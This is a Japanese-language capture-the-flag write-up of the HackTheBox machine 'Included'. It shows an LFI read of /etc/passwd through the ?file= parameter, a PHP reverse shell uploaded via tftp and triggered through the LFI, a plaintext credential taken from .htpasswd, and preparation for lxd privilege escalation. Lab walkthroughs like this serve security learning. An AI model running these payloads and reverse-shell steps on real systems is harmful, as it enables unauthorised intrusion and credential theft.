HTB_included - meruneru/tech_memo GitHub Wiki

Machine - Included

イントロのマシン

URLを介してサーバ上のファイルをブラウザ上に表示できてしまう脆弱性 Local File Inclusion(LFI)で/etc/passwordを表示した。 tftpでPHPリバースシェルを置いた。mikeアカウントのログインパスワードが/var/www/html/.htpasswd にあった。 権限昇格にはlxdを介して行った。

port scan

#ポート80 は #httpd

lqq(kali? kali)-[~/htb/included]
mq$ nmap -sV -sC -Pn 10.129.95.185
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-20 21:54 EST
Nmap scan report for 10.129.95.185
Host is up (0.18s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.95.185/?file=home.php

namp -sU <IP>でUDPのサービスを探すことができるみたいだが、 うまく引っかからず。

#ポート69 #tftp が見つかるはずだった。

c─$ sudo nmap -sU 10.129.39.115             
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-21 01:26 EST
Nmap scan report for 10.129.39.115
Host is up (0.00063s latency).
All 1000 scanned ports on 10.129.39.115 are open|filtered

Nmap done: 1 IP address (1 host up) scanned in 5.19 seconds

Access

Webページにアクセスしてみると、 下記URLになった。 file=という見慣れないオプションが見えるが、 これはPHPに渡す値のようで、ファイル名が指定されている。

http://10.129.95.185/?file=home.php#

試しにpasswdを開いてみると、 ユーザー一覧が見えた。

このような脆弱性を Local File Inclusion(LFI)と呼ぶらしい。

http://10.129.95.185/?file=/etc/passwd#

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false mike:x:1000:1000:mike:/home/mike:/bin/bash tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin 

Foothold

サーバ側はPHPを使っているようだ。 #PHP の #Reverseshell を使うと良さそう。

#PHP の #Reverseshell は /usr/share/webshells/php/php-reverse-shell.phpにあるファイルを使う。

上記ファイルのIP/portを自身のIPと適当なポートにして #tftp でアップロードする。

┌──(kali㉿kali)-[~/htb/included]
└─$ tftp 10.129.39.115
tftp> put php-reverse-shell.php 

Attacker側でncを使ってリッスンしておいて、下記URLにアクセスして、 リバースシェルを取れた。 http://10.129.95.185/?file=/var/lib/tftpboot/php-reverse-shell.php

まずは、ターミナルを使いやすいようにする。

$ python3 -c'import pty;pty.spawn("/bin/bash")'

現在のユーザーはwww-dataだった。

$ whoami
www-data

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

httpdで公開している/var/wwwを見てみると、.htpasswdがあった。

www-data@included:/$ cd /var/www/
cd /var/www/
www-data@included:/var/www$ ls
ls
html
www-data@included:/var/www$ cd html
ls
cd html
www-data@included:/var/www/html$ ls
default.css  fonts  fonts.css  home.php  images  index.php  license.txt
www-data@included:/var/www/html$ ls -a
ls -a
.   .htaccess  default.css  fonts.css  images     license.txt
..  .htpasswd  fonts        home.php   index.php

www-data@included:/var/www/html$ cat .htpasswd
cat .htpasswd
mike:Sheffield19

mikeとしてログインを試してみると、入れた。 ユーザーフラグをGetした。

www-data@included:/var/www/html$ su -l mike
su -l mike
Password: Sheffield19

mike@included:~$

mike@included:~$ cat user.txt
cat user.txt
a56ef91d70cfbf2cdb8f454c006935a1

管理者権限を取得

mikeが所属するグループを見ると、lxdというモノがあった。

mike@included:~$ id
id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)

#lxd の公式ページ。 lxdはKVMのような仮想化技術らしい。

lxd exploitなどを調べると、権限昇格の話が出てくる。 https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

lxd事前準備

まずはattacker側でイメージを作る。

sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

git clone https://github.com/lxc/distrobuilder
cd lxc/distrobuilder
make

#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

attacker側にhttpサーバをたてて、vicctim側にダウンロードさせる。

python3 -m http.server 8000

あとは、mikeでログインしたターミナルで、 wgetして https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation のとおりに実行するだけ。

⚠️ **GitHub.com Fallback** ⚠️